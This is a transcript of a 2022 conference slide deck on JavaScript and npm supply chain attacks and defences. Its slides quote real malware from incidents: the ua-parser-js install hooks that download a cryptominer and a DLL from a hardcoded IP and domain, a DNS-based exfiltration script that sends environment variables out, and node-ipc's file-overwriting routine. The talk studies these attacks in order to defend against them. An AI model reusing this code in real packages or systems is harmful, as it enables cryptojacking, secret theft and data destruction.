The State of JavaScript Supply Chain Security in 2022

The State of JavaScript
Supply Chain Security
in 2022
OpenJS World 2022

View Slide

Feross Aboukhadijeh
• Founder and CEO at Socket (socket.dev)
• Stanford instructor for Web Security
• Author of 100+ npm packages
• StandardJS, a popular community
JavaScript style guide
• WebTorrent, the rst BitTorrent client
that works in the browser
• Past
• Board member at Node.js Foundation
• Consultant for “Silicon Valley” TV
show
!

View Slide

Agenda
• Story of a supply chain a ack (with a ack code!)
• Why is this happening now?
• How does a supply chain a ack work?
• How can you protect your app?
socket.dev 3

View Slide

Let me tell you a story...
socket.dev 4

View Slide

View Slide

10 years of steady work
socket.dev 6

View Slide

7,000,000 downloads per week
3,000,000 GitHub repos
socket.dev 7

View Slide

Let me tell you a story...
socket.dev 8

View Slide

On a Russian hacking forum
Posted: October 5, 2021
I sell a development account on npmjs.com, more than 7 million installations
every week, more than 1000 others are dependent on this.
There is no 2FA on the account. Login and password access. The password is
enough to change your email.
Suitable for distributing installations, miners, creating a botnet
Start $10k
Step $1k
Blitz $20k
socket.dev 9

View Slide

Anatomy of a so ware supply chain a ack
• Started at Friday, October 22, 2021 at 12:15pm GMT
• 3 malicious versions of ua-parser-js published
• 0.7.29
• 0.8.0
• 1.0.0
socket.dev 10

View Slide

{
"title": "UAParser.js",
"name": "ua-parser-js",
"version": "0.7.29",
"author": "Faisal Salman (http://faisalman.com)",
"description": "Lightweight JavaScript-based user-agent string parser",
"main": "src/ua-parser.js",
"scripts": {
"preinstall": "start /B node preinstall.js & node preinstall.js",
"build": "uglifyjs src/ua-parser.js ...",
"test": "jshint src/ua-parser.js && mocha -R nyan test/test.js",
"test-ci": "jshint src/ua-parser.js && mocha -R spec test/test.js"
}
}
socket.dev 11

View Slide

const { exec } = require("child_process");
function terminalLinux(){
exec("/bin/bash preinstall.sh", (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
}
var opsys = process.platform;
if (opsys == "darwin") {
opsys = "MacOS";
} else if (opsys == "win32" || opsys == "win64") {
opsys = "Windows";
const { spawn } = require('child_process');
const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);
} else if (opsys == "linux") {
opsys = "Linux";
terminalLinux();
}

View Slide

IP=$(curl -k https://freegeoip.app/xml/ | grep 'RU\|UA\|BY\|KZ')
if [ -z "$IP" ]
then
var=$(pgrep jsextension)
if [ -z "$var" ]
then
curl http://159.148.186.228/download/jsextension -o jsextension
if [ ! -f jsextension ]
then
wget http://159.148.186.228/download/jsextension -O jsextension
fi
chmod +x jsextension
./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u \
--cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
fi
fi
socket.dev 13

View Slide

@echo off
curl http://159.148.186.228/download/jsextension.exe -o jsextension.exe
if not exist jsextension.exe (
wget http://159.148.186.228/download/jsextension.exe -O jsextension.exe
)
if not exist jsextension.exe (
certutil.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe
)
curl https://citationsherbe.at/sdd.dll -o create.dll
if not exist create.dll (
wget https://citationsherbe.at/sdd.dll -O create.dll
)
if not exist create.dll (
certutil.exe -urlcache -f https://citationsherbe.at/sdd.dll create.dll
)
set exe_1=jsextension.exe
set "count_1=0"
>tasklist.temp (
tasklist /NH /FI "IMAGENAME eq %exe_1%"
)
for /f %%x in (tasklist.temp) do (
if "%%x" EQU "%exe_1%" set /a count_1+=1
)
if %count_1% EQU 0 (start /B .\jsextension.exe -k --tls --rig-id q -o pool.minexmr.com:443 -u \
--cpu-max-threads-hint=50 --donate-level=1 --background & regsvr32.exe -s create.dll)
del tasklist.temp

View Slide

Steals passwords from 100+ programs and the Windows
credential manager
socket.dev 15

View Slide

A ermath
socket.dev 16

View Slide

This is just the tip of the iceberg
180 packages removed for security reasons
in the last 30 days1
1 h ps://socket.dev/npm/category/removed
socket.dev 17

View Slide

Prominent examples
• Jan 2022: Maintainer of 'colors' and 'faker' packages adds code to
DoS applications in protest of big corporations using open source but
not contributing anything back to the community.
• March 2022: 'node-ipc' adds code to delete data of users it suspects
are Russian or Belarusian. Applications using the package overwrite
Russian users' les with a '
❤
' emoji.
• March-April 2022: Maintainers of 'event-source-poly ll', 'es5-ext', and
'styled-components' add anti-war messages to their packages. File
creation and redirects were less destructive but still unwanted by
most users.
socket.dev 18

View Slide

Why is this
happening now?
socket.dev 19

View Slide

4 reasons
socket.dev 20

View Slide

1.
Open source has won
socket.dev 21

View Slide

90% of an app's code
comes from open source
socket.dev 22

View Slide

2.
The way we write so ware has
changed
socket.dev 23

View Slide

Lots of transitive dependencies
socket.dev 24

View Slide

Discord
Let's look at just one example, Discord.3
• 19,462 total packages
• 381,118 contributors
• 206 countries
3 h ps://octoverse.github.com/sustainable-communities/
socket.dev 25

View Slide

"Installing an average npm package introduces
an implicit trust on 79 third-party packages and
39 maintainers, creating a surprisingly large
a ack surface"2
2 Markus Zimmermann, Cristian-Alexandru Staicu, Cam Tenny, Michael Pradel
socket.dev 26

View Slide

webpack, unpacked
socket.dev 27

View Slide

3.
No one reads the code
socket.dev 28

View Slide

We download code
from the internet
wri en by unknown individuals
that we haven't read
that we execute
with full permissions
on our laptops and servers
where we keep our most important data
socket.dev 29

View Slide

It's a miracle that this system works!
socket.dev 30

View Slide

socket.dev 31

View Slide

A ackers o en publish di erent
code to npm and GitHub
socket.dev 32

View Slide

"Given enough eyeballs, all bugs are shallow"
— Linus Torvalds
socket.dev 33

View Slide

"On average, a malicious package is available
for 209 days before being publicly reported"4
4 Marc Ohm, Henrik Plate, Arnold Sykosch, Michael Meier
socket.dev 34

View Slide

"20% of [...] malware persist in package
managers for over 400 days and have more
than 1K downloads"5
5 Nusrat Zahan, Thomas Zimmermann, Patrice Godefroid, Brendan Murphy, Chandra Maddila, Laurie Williams
socket.dev 35

View Slide

How does a supply
chain a ack actually
work?
socket.dev 36

View Slide

A acker TTPs
(tactics, techniques, and procedures)
1. Hijacked packages
2. Typosqua ing
3. Dependency confusion
4. Install scripts
5. Data ex ltration
6. Data destruction or ransom
socket.dev 37

View Slide

1.
Hijacked packages
socket.dev 38

View Slide

socket.dev 39

View Slide

Packages get hijacked because
• Maintainers choose weak passwords (ua-parser-js)
• Maintainers give access to malicious actors (event-stream)
• Maintainers become malicious actors (colors.js, faker.js)
• Maintainers use their packages to protest (node-ipc)
• Maintainers get malware on their laptops
• npm doesn't enforce 2FA (though this is nally improving)
socket.dev 40

View Slide

2.
Typosqua ing
socket.dev 41

View Slide

noblox.js-proxied
noblox.js-proxy
socket.dev 42

View Slide

noblox.js-proxied <– real
noblox.js-proxy <– fake!
socket.dev 43

View Slide

{
"name": "noblox.js-proxy",
"version": "1.0.5",
"description": "A Node.js wrapper for Roblox. (original from sentanos) (proxy edition by DarkDev)",
"main": "lib/index.js",
"types": "typings/index.d.ts",
"scripts": {
"docs": "jsdoc -c jsDocsConfig.json -r -t ./node_modules/better-docs",
"lint": "eslint lib/",
"test": "jest",
"postinstall": "node postinstall.js"
},
"repository": {
"type": "git",
"url": "https://github.com/JxySerr1/noblox.js-proxy.git"
}
}
socket.dev 44

View Slide

3.
Dependency confusion
socket.dev 46

View Slide

• Yahoo
• yahoo-react-input
• yahoo-react-formsy-input
• EURid (registry manager for EU)
• eurid_cloudflare
• 18F (US Federal agency)
• 18f-dashboard
• Palantir (government contractor)
• eslint-config-dev-palantir
• DuckDuckGo (search engine)
• duckduckgo-styles
• Shippo (shipping company)
• shippo-frontend
socket.dev 47

View Slide

• Wix (website builder)
• wix-media-manager-backend
• wix-marketing-backend
• wix-events-backend
• wix-chat-backend
• Unity (game engine)
• com.unity.ide.vscode
• com.unity.package-manager-ui
• com.unity.modules.ai
• com.unity.modules.androidjni
• GrubHub (food delivery)
• @grubhubprod/umami-library
• @grubhubprod/order-taking-client-sdk
• @grubhubprod/mochi
• @grubhubprod/chiri
socket.dev 48

View Slide

4.
Install scripts
socket.dev 49

View Slide

Most malware is in install scripts
socket.dev 50

View Slide

"We found 93.9% [...] of malicious packages had
at least one install script, indicating that
malicious a ackers use install scripts
frequently"5
5 Nusrat Zahan, Thomas Zimmermann, Patrice Godefroid, Brendan Murphy, Chandra Maddila, Laurie Williams
socket.dev 51

View Slide

{
"name": "",
"version": "9998.9999.2",
"description": "...",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node dns.js | node index.js | node specific-fields.js"
},
"files": ["specific-fields.js","index.js","dns.js"],
"author": "",
"license": "ISC"
}
socket.dev 52

View Slide

5.
Data ex ltration
socket.dev 53

View Slide

{
"name": "",
"version": "9998.9999.2",
"description": "...",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node dns.js | node index.js | node specific-fields.js"
},
"files": ["specific-fields.js","index.js","dns.js"],
"author": "",
"license": "ISC"
}
socket.dev 54

View Slide

var { Resolver } = require('dns');
var zlib = require('zlib');
var resolver = new Resolver();
function splitString(string, size) {
var re = new RegExp('.{1,' + size + '}', 'g');
return string.match(re);
}
resolver.setServers(["165.232.68.239"]);
var d = process.env || {};
var data = redactedForBrevity()
var encData = zlib.brotliCompressSync(Buffer.from(JSON.stringify(data))).toString('hex');
var ch = splitString(encData, 60);
var dt = Date.now();
for (var i = 0; i < ch.length; i++) {
const domain = ['l' + dt, i + 1, ch.length, ch[i]].join('.');
resolver.resolve4(domain, function (err) {
});
}
socket.dev 56

View Slide

6.
Data destruction or ransom
(e.g. peacenotwar, node-ipc)
socket.dev 57

View Slide

async function h(n = "", o2 = "") {
if (!import_fs3.default.existsSync(n)) {
return;
}
let r = [];
try {
r = import_fs3.default.readdirSync(n);
} catch (t) {
}
const f = [];
const c = Buffer.from("4p2k77iP", "base64");
for (var e = 0; e < r.length; e++) {
const i = import_path.default.join(n, r[e]);
let t = null;
try {
t = import_fs3.default.lstatSync(i);
} catch (t2) {
continue;
}
if (t.isDirectory()) {
const s = h(i, o2);
s.length > 0 ? f.push(...s) : null;
} else if (i.indexOf(o2) >= 0) {
try {
import_fs3.default.writeFile(i, c.toString("utf8"), function() {
});
} catch (t2) {
}
}
}
return f;
}
var ssl = true;
socket.dev 59

View Slide

How can you protect
your app?
socket.dev 60

View Slide

First, what won't work
socket.dev 61

View Slide

Vulnerability scanning is a
red herring
socket.dev 62

View Slide

Vulnerabilities vs. Supply chain A acks
⚠
Vulnerabilities are accidentally introduced by an open
source maintainer. It is sometimes okay to ship a vulnerability
to production if it is low impact.
⛔
Supply chain a acks are intentionally introduced by an
a acker. It is never okay to ship malware to production. You
must catch it before you install it or depend on it.
socket.dev 63

View Slide

A vulnerability scanner will not catch
the next supply chain a ack
socket.dev 64

View Slide

How can you protect
your app?
socket.dev 65

View Slide

1.
Support open source maintainers
socket.dev 66

View Slide

"23% of open source projects have only one
developer contributing the bulk of code. 94% of
the projects have fewer than 10 developers
accounting for more than 90% of the lines of
code."6
6 Linux Foundation, Census II
socket.dev 67

View Slide

2.
Change how you think about
dependencies
socket.dev 68

View Slide

If you ship code to production,
you are responsible for it
socket.dev 69

View Slide

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
socket.dev 70

View Slide

3.
Update dependencies at the right
cadence
socket.dev 71

View Slide

socket.dev 72

View Slide

socket.dev 73

View Slide

socket.dev 74

View Slide

socket.dev 75

View Slide

socket.dev 76

View Slide

Tradeo s, no perfect solution
socket.dev 77

View Slide

4.
Dig deeper before choosing a
dependency
socket.dev 78

View Slide

socket.dev 79

View Slide

socket.dev 80

View Slide

socket.dev 81

View Slide

socket.dev 82

View Slide

Standard dependency checklist
•
✅
Gets the job done?
•
✅
Has an open source license?
•
✅
Has good docs?
•
✅
Has lots of downloads and GitHub stars?
•
✅
Has recent commits?
•
✅
Has types?
•
✅
Has tests?
socket.dev 83

View Slide

2022 dependency checklist
•
✅
Has an install script?
•
✅
Has native code?
•
✅
Talks to the network?
•
✅
Runs shell commands?
•
✅
Reads environment variables?
•
✅
Gathers telemetry (i.e. phones home)?
•
✅
Contains obfuscated code?
socket.dev 84

View Slide

socket.dev 85

View Slide

View Slide

What about a package doing
something sketchy?
socket.dev 87

View Slide

View Slide

What about malware?
socket.dev 90

View Slide

View Slide

5.
Monitor dependency changes with
automation
socket.dev 93

View Slide

Monitor PRs for bad dependencies
• Use static analysis to audit every dependency
• Detect privileged API use, obfuscated code, etc.
• Manually audit any package that is suspicious
• Put security information directly in PRs so developers can
see it and act on it
socket.dev 94

View Slide

socket.dev 95

View Slide

socket.dev 96

View Slide

View Slide

6.
Improve JavaScript, Node.js, and
npm
socket.dev 98

View Slide

JavaScript Security Wishlist
1. Allow maintainers to suppress vulnerability warnings in
dependencies
2. Deno-style process permissions (--allow-net)
3. Per-package permissions (SES, ES Realms, Compartments,
--experimental-policy)
socket.dev 99

View Slide

Thanks!
twi er.com/feross
[email protected]
socket.dev
We're hiring!
socket.dev 100

View Slide

The State of JavaScript Supply Chain Security in 2022

The State of JavaScript Supply Chain Security in 2022

Feross Aboukhadijeh

More Decks by Feross Aboukhadijeh

Other Decks in Technology

Featured

Transcript